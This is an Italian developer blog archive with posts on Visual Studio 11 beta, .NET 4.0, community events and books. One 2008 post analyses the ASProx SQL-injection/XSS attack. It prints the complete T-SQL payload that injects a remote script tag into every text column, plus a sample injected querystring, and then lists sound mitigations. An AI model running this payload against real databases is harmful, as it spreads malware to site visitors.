blogs.ASPItalia.com

Visual Studio 11 beta: le novità principali dell'IDE

Riccardo Golia — Fri, 02 Mar 2012 12:20:00 GMT

Pochi giorni fa � stata rilasciata la versione beta di Visual Studio 11 (che nel prosieguo chiamer� VS11 beta), la nuova release del tool di sviluppo targato Microsoft, pensato specificatamente per supportare come non mai i programmatori nella creazione di applicazioni per Windows 8 e per il web. L'IDE (Integrated Development Environment) di VS11 beta riporta una serie di migliorie rispetto ai suoi predecessori per incrementare la produttivit� degli sviluppatori e introduce alcune nuove funzionalit� per coprire i nuovi scenari di sviluppo collegati dall'avvento di Metro e di Windows 8. Ma andiamo con ordine!

Progetti e soluzioni

In generale VS11 beta � in grado di lavorare coi progetti generati con Visual Studio 2010 SP1. L'IDE � in grado di riconoscere le incompatibilit� e di fornire informazioni per migrare i progetti verso il nuovo ambiente di sviluppo. La lista completa delle compatibilit� � reperibile in questa pagina su MSDN: Visual Studio 11 Compatibility. Ovviamente fanno la loro comparsa i nuovi template di progetto per le applicazioni Metro scritte in JavaScript o in C++, C# e Visual Basic. L'IDE supporta lo sviluppo delle app Metro con una serie di feature tra cui il "Metro Style Simulator", il debugging remoto, l'estensione degli strumenti di analisi del codice e di profiling, e altre aggiunte che riguardano principalmente l'interazione integrata con il Windows Store, per poter creare gli account di sviluppo e gestire l'upload delle app.

Finestre dell'IDE

La navigazione dei progetti � stata migliorata, integrando direttamente in VS11 beta le funzionalit� proprie del package "Productivity Power Tools" valido per la versione precedente. In VS11 beta � possibile fare il pinning delle finestre dell'editor, � possibile avere una visione integrata dei membri delle classi e delle loro caratteristiche di utilizzo direttamente nel Solution Explorer (oltre che nella finestra Call Hierarchy), nonch� vedere la preview dei file, immagini comprese, grazie al Preview Tab, che evita di dover aprire un file per poterne consultare il contenuto. E' stato migliorato anche il supporto allo sviluppo su monitor multipli, con la possibilit� di creare pi� istanze del Solution Explorer da posizionare nei diversi monitor. Fanno inoltre la loro comparsa le due nuove finestre GPU Threads e Parallel Watch, per agevolare il programmatore negli scenari di sviluppo grafico e parallelo.

Ricerca

I tool di ricerca sono stati potenziati, con la possibilit� di utilizzare una nuova sintassi regex per fare ricerche parametrizzate. La ricerca � stata integrata nelle finestre di VS11 beta, tra cui la Toolbox e lo stesso Solution Explorer, che diventa come non mai la finestra principe all'interno dell'IDE, in grado di integrare insieme un gran numero di funzionalit�, in passato distribuite in finestre diverse.

Editor di codice

Gli editor e l'intellisense sono stati migliorati, per supportare a pieno tutti gli scenari di sviluppo previsti dal tool. In particolare, gli editor per C++ e per JavaScript hanno subito una serie di migliorie davvero notevoli. Dal momento che VS11 beta supporta a pieno HTML5, ECMAScript 5 e CSS3, gli editor sono in grado di fornire tutte le funzionalit� di colorazione del testo, autocompletamento e supporto all'editazione nelle diverse situazioni di sviluppo, sia per il web che per Metro. Ovviamente anche gli editor per C# e Visual Basic sono stati adeguati per supportare le novit� proprie della nuova versione dei linguaggi.

Per concludere...

Le novit� non si esauriscono qua, ma per il momento spero che possano bastare per mettere l'"acquolina in bocca"... Del resto VS11 beta nasce anche come uno strumento pensato per integrarsi col nuovo Team Foundation Server e per supportare lo sviluppo di applicazioni per Windows Azure. Parlare anche di queste feature meriterebbe un altro post a parte... :)

Posso dire che le novit� proprie dell'IDE descritte in questo post producono un'esperienza di utilizzo per lo sviluppatore davvero notevole, con un forte impulso alla produttivit� e alla facilit� d'uso. Inutile dire che, per poter provare a pieno le novit� velocemente descritte in queste poche righe riassuntive, la cosa migliore da fare � installarsi VS11 beta quanto prima. Non temete: VS11 beta � in licenza Go Live, il che significa che la release beta � supportata e pu� essere utilizzata in produzione. Inoltre viene garantita la migrazione alla versione RTM una volta che questa sar� rilasciata ufficialmente. Infine la retrocompatibilit� dei progetti descritta in precedenza permette di passare al nuovo IDE in modo veloce e sicuro.

Potete trovare tutte le novit� dell'IDE di VS11 beta nella documentazione ufficiale presente online su MSDN alla pagina: What's New in Visual Studio 11 Beta. Buon "divertimento" con VS11 beta!

Continua a leggere Visual Studio 11 beta: le novità principali dell'IDE.

La mia esperienza ai Community Days 2012

Riccardo Golia — Mon, 20 Feb 2012 10:20:00 GMT

Ora che l'enorme onda d'urto dei Community Days 2012 � passata, raccolgo un po' di idee e sensazioni per descrivere quella che � stata la mia esperienza nei due giorni dell'evento.

Sono stato sia speaker, sia membro operativo dello staff. Si intenda: non � il primo evento a cui partecipo in veste di speaker o di staff member. Ma il numero di partecipanti mi ha ricordato il primo evento a cui ho preso parte in maniera attiva: il Real Code Day del 26 ottobre 2005. In quell'occasione si tratt� di un evento organizzato unicamente da ASPItalia.com, ma la partecipazione fu talmente alta da richiamare in un sol giorno 420 persone che riempirono all'inverosimile una sala cinematografica. Per certi versi quello che ho visto ai Community Days 2012 mi ha ricordato quell'occasione: sale stipate, gente dappertutto, persone sedute in ogni dove, gente in piedi fuori dalla porta ad assistere le sessioni, tanto entusiasmo e interesse... Bello, bello, bello!!! Era un po' che non vedevo una cosa del genere ed � stato un vero piacere potervi assistere: sembrava un evento di altri tempi! Da "vecchio" personaggio che frequenta le community, ho una certa memoria circa l'andamento degli eventi negli ultimi anni e posso dire che quello a cui ho assistito a Milano nei giorni scorsi � stato sicuramente uno dei pi� riusciti in assoluto.

Le novit� legate a Windows 8 e Metro, WP7, Azure e il prossimo .NET 4.5 hanno sicuramente attirato le persone e le hanno spinte a partecipare. Ma non solo! Trovare cos� tanti speaker / argomenti / track in un evento gratuito non � cosa di tutti i giorni. Questo � un grosso merito degli organizzatori, in primis Daniele e Andrea, ma anche la stessa Microsoft Italia. La splendida location, ovvero la nuovissima sede di Microsoft Italia, ha fornito una cornice davvero degna, regalando un palcoscenico ideale a tutti gli speaker dell'evento.

Che dire di me? Beh, sono stato contento. Ho scelto di fare una sessione diversa, particolare e ovviamente di natura architetturale (ora che � passata la moda, a parlare di architettura siamo rimasti in pochi, eh-eh-eh). Il titolo era: "Progettare un service layer interoperabile". Ho voluto portare la mia esperienza decennale nella realizzazione di applicazioni service-oriented sul palco, con la sola pretesa di mostrare le best practice che nel tempo si sono rivelate efficaci. E' stata un'occasione per fornire spunti di riflessione e idee su come approcciare il problema di costruire un'applicazione basata su servizi. Devo dire che la risposta da parte dei presenti � stata al di sopra delle mie aspettative: facce interessate e attente, gente in piedi per tutta la sessione, nonostante il pranzo fosse gi� servito fuori dalla porta, 20/30 minuti di domande dopo la fine della sessione che hanno costretto Daniele ad espellermi dalla sala e a me di trovare solo i rimasugli del pranzo (sero venientibus, ossa!!!)...

Sapevo che la mia non era una "sessione al cioccolato" (in realt� non lo sono quasi mai), ovvero di quelle che richiamano la folla, ma sono convinto (come del resto gli organizzatori) che questo tipo di sessioni servano moltissimo e rappresentino un forte valore aggiunto. Del resto tutta la track architetturale � stata gettonatissima, questo dimostra che, alla fine, gli argomenti trattati sono sempre attuali.

Colgo l'occasione per ringraziare tutti coloro che sono intervenuti all'evento, i partecipanti, gli organizzatori, gli sponsor (tra cui una menzione speciale va a Hoepli, la casa editrice che pubblica i libri di cui sono coautore). Vi invito a seguire la registrazione della mia sessione che sar� disponibile a breve e a scaricare la versione PDF delle slide dal sito dell'evento. Vi ricordo infine che potete trovare molti degli spunti di cui ho parlato nella sessione in due articoli che ho pubblicato in passato:

Alla prossima!

Continua a leggere La mia esperienza ai Community Days 2012.

Real Code Day 6: slide e codice sorgente

Riccardo Golia — Sun, 22 May 2011 19:10:00 GMT

Nel ringraziare tutti coloro che sono intervenuti e chi in questi giorni ha espresso giudizi positivi sul nostro RCD6, vi confermo che le slide delle mie due sessioni sono online presso la pagina dedicata all'evento.

Vi ricordo le novit� che riguardano la nostra applicazione di esempio Model Virtual Casting e che sono state presentate nel corso della giornata:

composizione dei repository con MEF (Managed Extensibility Framework);
object model POCO e utilizzo di Entity Framework 4.1;
sito web adattato a HTML5;
rimosso Silverlight dal front-end per un uso nel back-office avanzato;
back-office distribuito anche come applicazione OOB (Out-Of-Browser);
porting su Azure;
versione mobile web, ottimizzata per iPhone, iPad e browser HTML5;
due applicazioni Windows Phone 7 per pubblicizzare l'agenzia:

gioco fatto in XNA (Ninja Braaa);
applicazione per consultare il catalogo.

Per quanto riguarda quello che ho specificatamente presentato nella mia sessione tecnica, vi ricordo che tutto il codice � gi� disponibile presso il sito dedicato all'applicazione su CodePlex.

Per testare l'iniezione delle dipendenze con Unity 2.0 attraverso il progetto di test ASPItalia.ModelVirtualCasting.Test, al fine di caricare i repository fake presenti nell'assembly ASPItalia.ModelVirtualCasting.Fake, il file App.config va configurato come segue:

oppure, allo scopo di caricare le implementazioni dei repository relative a Entity Framework presenti nell'assembly ASPItalia.ModelVirtualCasting.EntityFramework, la configurazione deve essere la seguente:

Per testare la composizione con il Managed Extensibility Framework attraverso il progetto di test ASPItalia.ModelVirtualCasting.Test, al fine di caricare i repository fake presenti nell'assembly ASPItalia.ModelVirtualCasting.Fake, il file App.config va configurato come segue:

Enjoy!

Continua a leggere Real Code Day 6: slide e codice sorgente.

Il nostro processo di stesura dei libri: un caso di successo

Riccardo Golia — Wed, 07 Apr 2010 10:51:00 GMT

Nel mese di gennaio 2010 sono entrato a far parte dell'ambizioso progetto editoriale che riguarda i tre libri dedicati ai linguaggi C# 4 e VB 10 e ad ASP.NET 4.0 che saranno di prossima pubblicazione a cura della casa editrice HOEPLI. Al di l� del fatto che per me � una enorme soddisfazione poter scrivere per una casa editrice cos� rinomata in Italia, ancora una volta mi trovo a cimentarmi nella stesura di un libro (in questo caso, addirittura di tre) con i miei "compagni di merende" dopo quelli usciti negli scorsi anni. Non vi nascondo che si tratta di una attivit� molto impegnativa e stressante, sotto tutti i punti di vista. Il tempo � relativamente poco, le scadenze una dietro l'altra, gli argomenti da trattare tanti, ma per fortuna siamo in tanti autori. In ogni caso ci vuole coordinamento ed affiatamento. Se il secondo non manca by design :), devo sottilineare l'immenso lavoro che sta facendo Daniele nel coordinare i vari autori e nel gestire le varie criticit� che inevitabilmente in occasioni come queste si vengono a creare.

Stiamo usando da mesi Visual Studio Team System 2010 per gestire tutti i task, i capitoli in versione draft e pre-release, tutto il codice relativo agli esempi e le immagini. Abbiamo definito un processo estremamente dettagliato, composto da diverse fasi e passaggi per assicurare il massimo della qualit� di quello che scriviamo. Abbiamo ben due revisioni tecniche per capitolo e una completa revisione linguistica. E' davvero singolare come abbiamo "piegato" lo strumento al nostro processo di pubblicazione. Del resto la necessit� nell'uso di uno strumento deve essere sempre dettata da motivazioni che vanno ben al di l� delle semplici funzionalit� fornite dal tool. Insomma prima viene il processo, poi lo strumento!

Ci stiamo impegnando tutti in modo molto evidente ed importante e, nonostante le difficolt� dovute alle scadenze serrate, stiamo rispettando tutte le consegne. E siamo in sette autori da coordinare insieme!!! Non c'� che dire, da un punto di vista gestionale, questo progetto rappresenta per me un caso di successo notevole e, ancora una volta, una situazione in cui ho avuto modo di imparare molto. Del resto con un approccio del genere non potrebbe andare diversamente. Cos� come avviene nel software, anche nella stesura di un libro lo strumento pu� fornire un aiuto, ma, come capita spesso, sono le persone e l'approccio a fare la differenza. Non mi stufer� mai di ripeterlo (da "bravo" architetto)...

Mi auguro che la qualit� del nostro processo di stesura traspaia nelle pagine dei libri anche per i lettori che ci vorranno dare fiducia. Per fare un prodotto di qualit�, occorre un processo di qualit�. E in questo caso lo stiamo facendo, davvero!!!

Continua a leggere Il nostro processo di stesura dei libri: un caso di successo.

A volte ritornano!

Riccardo Golia — Mon, 08 Feb 2010 22:45:00 GMT

Con vero piacere ho visto in questi giorni tornare in linea su BEIT i miei webcast del 2006 e 2007 riguardanti i temi architetturali, in particolare il disegno object oriented, i pattern e UML. A suo tempo ebbero un certo seguito perche' erano tra i primi del loro genere e unici come tipologia di contenuti. Ancora oggi molti mi chiedono di poterli rivedere; ebbene siete stati accontentati! Ringrazio per questo il buon Pietro Brambati che si e' prodigato non poco affinche' i webcast tornassero in linea. Anche se sono un po' datati, data la natura trasversale e generale dell'argomento, i webcast in questione sono piu' che mai attuali. Sono particolarmente legato a loro perche' mi sono divertito un sacco a farli a suo tempo e sono molto contento che siano stati rispolverati e resi disponibili sul sito di BEIT.

Non mi resta che segnalare i link per coloro che volessero guardarseli... Se avete domande, poi io sono qui! ;)

Enjoy!

Continua a leggere A volte ritornano!.

Ripresa delle pubblicazioni sul nostro network

Riccardo Golia — Wed, 02 Sep 2009 15:00:00 GMT

Dopo la pausa estiva, il prossimo 14 settembre riprendono le pubblicazioni (script e articoli) sul nostro network. Come ricordato da Daniele qui, l'organizzazione della redazione da quest'anno ha subito qualche cambiamento. Dopo il "passo indietro" fatto da Daniele, la novit� principale � senz'altro rappresentata dall'arrivo di Marco De Sanctis quale responsabile della pubblicazione degli script per il sito di ASPItalia.com. Io sono diventato il supervisore e il responsabile per gli articoli di tutto il network, anche se la pubblicazione sui nostri quattro siti resta comunque a carico degli attuali content manager come prima.

In linea di massima abbiamo gi� delineato una scaletta di pubblicazione ricca e variegata, cercando di andare a trattare argomenti di sicuro interesse che, speriamo, saranno di vostro gradimento. Usciranno articoli e script sulle tecnologie attuali in attesa dell'uscita della versione Beta 2 di Visual Studio 2010. Non mancheranno contenuti di natura architetturale, che, come testimoniano le numerose letture, sono risultati molto apprezzati dai nostri lettori.

Non mi resta che darvi appuntamento sulle pagine del nostro network. Buona lettura e... buon divertimento! :)

Continua a leggere Ripresa delle pubblicazioni sul nostro network.

.NET Framework 4.0 Beta 1: Parallel FX

Riccardo Golia — Mon, 18 May 2009 20:47:00 GMT

L'avvento dei sistemi hardware dotati di pi� core in grado di eseguire elaborazioni parallele sta radicalmente cambiando il modo di pensare, progettare e scrivere applicazioni. Per sfruttare al meglio le potenzialit� offerte dai sistemi multicore, ai programmatori occorre poter disporre di una serie di API e di funzionalit� nei tool di sviluppo tali da agevolare la gestione di logiche applicative parallele.

A questa esigenza rispondono il .NET Framework 4.0 e Visual Studio 2010, di cui � disponibile la versione Beta 1, come annunciato oggi nel suo blog da Somasegar, senior vice president per l'area dedicata ai tool di sviluppo in Microsoft Corp., e da tutti i componenti dello staff di ASPItalia.com prima di me. Il Parallel FX porta con s� una serie di estensioni e strumenti mirati a supportare lo sviluppo parallelo e a fornire un modello di programmazione che permetta di astrarre le logiche applicative dallo strato fisico sottostante.

Per costruire ed eseguire applicazioni parallele, Visual Studio 2010 include una serie di nuove librerie per sviluppare sia applicazioni managed sia applicazioni native in C++. Per quanto riguarda specificatamente il .NET Framework, le estensioni presenti nella versione 4.0 sono fondamentalmente tre: PLINQ (Parallel LINQ), Parallel Task Library (PTL) e Coordination Data Structures (CDS). PLINQ rapprenta un modello dichiarativo per il parallelismo sui dati basato su LINQ. PTL fornisce un modello imperativo a supporto dell'elaborazione parallela sia di task applicativi che dei dati e un insieme di costrutti come, per esempio, Parallel.For o Parallel.ForEach, molto comodi per eseguire iterazioni rimappate su diverse unit� di calcolo. CDS rappresenta un insieme di building block per la sincronizzazione che semplificano i meccanismi di comunicazione e inizializzazione nel codice.

Queste estensioni sono rivolte agli sviluppatori che usano codice managed come C# e Visual Basic o il nuovissimo F#. Tramite PLINQ diventa possibile rivedere le query LINQ-To-Objects esistenti nel codice attuale, ottenendo risultati in termini di performance davvero significativi. Con TPL diventa immediato introdurre meccanismi di parallelismo sui task e sui dati, o tramite la parallelizzazione dei costrutti iterativi nel codice o tramite la scomposizione di logiche composte in task pi� semplici schedulati ed eseguiti in parallelo.

A tutto questo si aggiunge il supporto in termini di funzionalit� e strumenti fornito da Visual Studio 2010. I tool di debugging si arricchiscono di due nuove toolwindow: Parallel Tasks e Parallel Stacks. La prima fornisce informazioni di runtime sui task creati dall'applicazione nell'elaborazione parallela, la seconda fornisce la visione dei call stack di ciascun thread o task all'interno dell'applicazione. Oltre a queste nuove funzionalit� Visual Studio 2010 include una serie di strumenti di profiling per la visione del livello di utilizzo delle CPU e dei Core.

Per ulteriori informazioni rimanete sintonizzati su ASPItalia.com. Maggiori informazioni e le informazioni per il download sono disponibili nel nostro mini-sito dedicato al .NET Framework 4.0. Nei prossimi mesi avremo modo di trattare in modo specifico tutte le novit� di Visual Studio 2010, come siamo soliti fare ormai da tanti anni. Come dice sempre Stefano... Stay Tuned!

Continua a leggere .NET Framework 4.0 Beta 1: Parallel FX.

Guide sull'architettura delle applicazioni

Riccardo Golia — Sun, 14 Dec 2008 18:13:00 GMT

Segnalazione per gli amanti delle tematiche architetturali... Su Codeplex da un paio di settimane sono disponibili alcune guide in formato PDF a cura di Microsoft P&P che trattano le tematiche e le best practices relative all'architettura dei diversi tipi di applicazioni:

Il numero di pagine delle guide non � eccessivo, pertanto si prestano ad essere lette facilmente. Inoltre la struttura dei contenuti � abbastanza schematica per una facile comprensione. Gli argomenti trattati sono vari, ma mi pare di poter dire che i contenuti sono abbstanza completi, sebbene siano condensati in un numero di pagine limitate.

Se non sapete cosa leggere durante le vacanze di Natale, questi link possono fornire un utile spunto... Buona lettura! :P

Continua a leggere Guide sull'architettura delle applicazioni.

Intervista online

Riccardo Golia — Fri, 05 Dec 2008 09:08:00 GMT

Non capita tutti i giorni di essere intervistati... :)
Grazie ad Alessandro per l'intervista e per lo spazio concessomi nel suo blog personale.

Continua a leggere Intervista online.

Buon compleanno, ASPItalia.com!

Riccardo Golia — Tue, 21 Oct 2008 06:31:00 GMT

Tanti auguri ad ASPItalia.com per i suoi 10 anni di vita... Oggi si fa festa, tutti a Roma!

PS: tanti auguri anche a me oggi, ma non ditelo a nessuno! :P

Continua a leggere Buon compleanno, ASPItalia.com!.

Attacco XSS combinato con SQL-Injection

Riccardo Golia — Fri, 25 Jul 2008 11:00:00 GMT

In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre � cos�.

L'attacco � portato avanti da un bot noto col nome di ASProx che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica DNS Fast-Fluxing per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilit� nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilit� vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo "<script src="http://sitoremoto/ngg.js"></script>". Chiaramente il file "ngg.js" contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.

Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:

DECLARE @Table VARCHAR(255)
DECLARE @Column VARCHAR(255)

DECLARE cur CURSOR FOR
SELECT [SO].[Name], [SC].[Name]
FROM sysobjects AS [SO], syscolumns AS [SC]
WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND
([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)

OPEN cur
FETCH NEXT FROM cur INTO @Table,@Column

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''<script src="http://sitoremoto/ngg.js"></script>''')
FETCH NEXT FROM cur INTO @Table, @Column
END

CLOSE cur
DEALLOCATE cur

Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag <script />. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target � vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: "http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--").

Per poter mitigare la vulnerabilit� a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ci� che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: "SELECT * FROM Table1 WHERE Id=" + Request.QueryString["id"]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se "id" deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.

Nonostante le innumerevoli circostanze in cui si � avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili qui e qui) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio � ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori!

LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!

Meditate, gente, meditate!

Continua a leggere Attacco XSS combinato con SQL-Injection.

Slide e demo della mia sessione ai Community Days online

Riccardo Golia — Fri, 11 Jul 2008 23:20:00 GMT

Ho messo da qualche minuto online le demo mostrate alla mia�sessione�dei Community Days sulla creazione di applicazioni web (sia quella scritta in diretta, sia la versione 2.1 di Pubs), nonch� le slide che sono servite come cappello introduttivo (con tanto di schemino architetturale molto utile per i posteri... :P).

Ringrazio i numerosi partecipanti per essere intervenuti, per aver seguito la sessione fino alle 18:25 senza che nessuno se ne andasse via prima, per le innumerevoli domande, sia durante che dopo la sessione (visto che c'era gente non italiana, alla fine della sessione ho avuto modo di�parlare una decina di minuti direttamente in inglese per farmi capire da chi si era fermato oltre).

Ringrazio i compari di sempre, quelli di ASPItalia.com e quelli di UGI, Microsoft per l'ospitalit� e a tutti i partecipanti�rinnovo�l'invito a seguirci nei prossimi eventi che avremo modo di organizzare in futuro. Grazie a tutti e alla prossima.

P.S. Vorrei complimentarmi con Alessio, Marco e Ugo per il loro debutto come speaker. Sono stato molto contento�nel vederli cos� spigliati, del resto non avevo dubbi... Complimenti a tutti e tre! Avanti cos�...

Continua a leggere Slide e demo della mia sessione ai Community Days online.

Arriva "ASP.NET 3.5 per tutti"

Riccardo Golia — Wed, 02 Jul 2008 13:45:00 GMT

Ebbene si, lo ha gi� detto Daniele qui, ma mi piace l'idea di poterlo annunciare pure io. Dopo il successo del nostro precedente libro, abbiamo deciso (Daniele, Ricciolo, Stefano ed io)�di scrivere anche il seguito: "ASP.NET 3.5 per tutti".

Il libro rappresenta un miglioramento di "ASP.NET 2.0 per tutti", ma non si tratta semplicemente�di un aggiornamento incrementale, bens� di un libro nuovo a tutti gli effetti. In esso troverete molte cose nuove, tra cui contenuti inediti relativi alla SP1 di ASP.NET 3.5 e non solo. Oltre a rivedere tutta la parte relativa a sintassi dei linguaggi, OOP & C., abbiamo inserito nel nuovo libro una sezione dedicata alla progettazione e distribuzione delle applicazioni web, affrontando problematiche relative alla sicurezza applicativa, alla strutturazione tramite layering, al deployment e alla configurazione.

Chi ha avuto modo di apprezzare la densit� di contenuti�e la concretezza di "ASP.NET 2.0 per tutti", non potr� non apprezzare anche quanto andremo a pubblicare nel corso del prossimo ottobre. Il prezzo del nuovo libro sar� ancora una volta�imbattibile, assolutamente�fuori mercato (cio� basso)�rispetto ad altri volumi di pari livello e dimensione.

Tutte le informazioni e una preview del TOC sono disponibili presso il minisito dedicato ad "ASP.NET 3.5 per tutti".

Continua a leggere Arriva "ASP.NET 3.5 per tutti".

MVP Summit 2008

Riccardo Golia — Tue, 22 Apr 2008 14:00:00 GMT

Venerd� scorso sono rientrato dal MVP Summit 2008 tenutosi a Seattle nel corso della scorsa settimana. Per me era la seconda volta che andavo a Seattle per assistere all'evento in questione e posso dire che le mie aspettative personali sono state in generale soddisfatte. Infatti, rispetto all'anno scorso, dove tutto era nuovo e insolito e pertanto ho fatto un po' fatica ad orientarmi, mi sono posto come obiettivo quello di incontrare gente nuova, anche straniera, di conoscere persone e di approfondire la conoscenza di quelle gi� note (italiane e non). Per fortuna il mio inglese (anche se decisamente migliorabile) in questo mi ha aiutato non poco, rispetto allo scorso anno ho fatto passi da gigante. Ho avuto modo di incontare personaggi pi� o meno noti, ho salutato ScottGu e l'ho ringraziato per la prefazione al libro (con un anno di ritrado). E' stato molto contento di vederci tutti. Ho conosciuto alcuni membri del team di Silverlight, altri MVP di fama assoluta e ho rivisto con molto piacere Alessandro Catorcini, con cui siamo andati a pranzo insieme in pizzeria.

Il viaggio non � cominciato nel migliore dei modi, tanto per cambiare il mio bagaglio (come quello di altre 10 persone) non � arrivato e nei primi giorni ho dovuto arrangiarmi con il backup che mi ero messo nel bagaglio a mano. Per fronteggiare l'emergenza, mi sono dato allo shopping sfrenato con i soliti noti, Mauro, Davide, Alessandro e "consorte", Raf, Roberto, Gabriele, ecc. Dopo 5 giorni la valigia � arrivata, giusto in tempo per riempirla. Inutile dire che sono rimasto alquanto seccato dal livello del servizio della compagnia aerea, la Bristish Airways. Per eventuali prossimi viaggi, sicuramente sceglier� una compagnia alternativa. Ho fatto reclamo per ottenere un rimborso, vediamo se la compagnia dimostrer� almeno un briciolo di seriet� nel rimediare ai suoi disservizi.

Sabato 12 aprile nel pomeriggio ho avuto la fortuna di partecipare ad un party a Kirkland organizzato dagli "italiani" di Microsoft. Inutile dire che � stata un'occasione davvero memorabile, li voglio ringraziare tutti perch� si sono dimostrati disponibili con tutti, simpaticissimi e davvero di buona compagnia. Ho incontrato una vecchia conoscenza dell'universit� con cui ho avuto modo di fare qualche esame insieme a suo tempo. E' stata una grande sorpresa trovarmi Ivan di fronte dopo tanti anni, non me lo aspettavo davvero. Lui � l� da quasi 10 anni, una vita in pratica... Grande!

La domenica � trascorsa a fare compere e a guardarsi un po' intorno. I giorni seguenti sarebbero stati presi dalla conference e non ci sarebbe stato pi� tanto tempo a disposizione. Ci siamo sfogati, con il cambio dollaro-euro cos� vantaggioso � stata una pacchia. Le sessioni dei giorni trascorsi al campus sono state interessanti, alcune hanno mostrato la roadmap dei prodotti futuri, tutto rigorosamente sotto NDA e quindi non riportabile sul blog. Il terzo giorno � stata la volta di Steve Ballmer. E' incredibile starlo a sentire dal vivo, trasmette un'energia assurda, la sua sessione � stata davvero "showtime". Domani sar� qua in Italia per un evento: chi ci potr� andare, non deve lasciarsi perdere l'occasione.

Se devo fare un bilancio, posso dire di essere stato contento di aver partecipato nuovamente al Summit. Andare negli States non � poi cos� male, la gente � gentile e disponibile ovunque, in certe occasioni � a dir poco accomodante in modo imbarazzante. Ho fatto parecchio networking, ho conosciuto gente nuova, ho scambiato opinioni e, perch� no, imparato qualcosa di nuovo anche da questa esperienza. Semmai ne avr� l'occasione, spero di poter partecipare a questo evento ancora in futuro.

Colgo l'occasione per ringraziare tutti i compagni di viaggio (gli MVP italiani, ovvero i Gladiators) per il tempo trascorso insieme, � sempre un piacere stare insieme e parlare di tecnologia con voi. Alla prossima.

Di seguito un po' di foto in ordine sparso: enjoy!

�

Foto 1: viaggio in limousine dall'aeroporto all'albergo con Mauro Servienti e Davide Mauri.

Foto 2: in giro per Downtown a fare shopping con i soliti noti, in particolare Mauro, profondo conoscitore di negozi e store.

Foto 3: � stata una sorpresa e un piacere incontrare di nuovo un compagno di corso dell'universit� (Ivan) che lavora in Microsoft da quasi 10 anni.

Foto 4: foto di guppo dei Gladiators alla registrazione pre-conference della domenica.

Foto 5: insolita foto di gruppo: c'� un intruso... Indovina qual'�!

Foto 6: insieme ad Alessandro "Garbin" Gallo davanti alla scatola del mitico BOB.

Foto 7: alla cena col team ASP.NET insieme a Michiel Van Otegem, MVP olandese.

Foto 8: al Conference Center (Building 33) con Alessandro Alpi, MVP italiano di SQL Server.

Foto 9: il Campus di Microsoft � una piccola citt� con palazzi, strade, giardini, segnaletica, ecc.

Foto 10: classica foto per chi visita il Campus di Redmond.

Foto 11: la divisa ufficiale dei Gladiators per la serata di gala al museo della musica di Seattle.

Foto 12: un po' di Gladiators "developer" insieme al MVP Lead italiano Alessandro "Alead" Teglia poco dopo la chiusura della sessione plenaria di Steve Ballmer.

Continua a leggere MVP Summit 2008.

Real Code Launch 2008: demo online

Riccardo Golia — Tue, 18 Mar 2008 10:15:45 GMT

Finalmente dopo alcuni giorni di attesa, sono disponibili online le demo presentate al Real Code Launch 2008, ovvero al Community After Hour tenutosi a Roma lo scorso 12 marzo in occasione del roadshow organizzato da Microsoft Italia per il lancio di Windows Server 2008, Visual Studio 2008 e SQL Server 2008. Le demo sono scaricabili all'indirizzo: 2008launch.aspitalia.com.

Nonostante sia passata quasi una settimana e non essendo riuscito a farlo prima, volevo cogliere l'occasione per ringraziare tutto lo staff di Microsoft Italia presente all'evento, gli organizzatori, gli evangelist DEV e IT ed, in particolare, Sara Morandini, Gabriele Castellani e Pietro Brambati per il continuo supporto, per la fiducia e per l'intervista stile rock-band (tra l'altro ricca di retroscena rigorosamente sotto NDA :D).

Organizzato anche nei minimi dettagli, l'evento � stato magico e la formula si � rivelata davvero vincente (merita di essere ripetuta in futuro, a mio modesto parere). La risposta in termini di pubblico e l'interesse sono stati davvero incredibili (300+ persone, come testimonia la foto), ci siamo divertiti tutti davvero tanto.

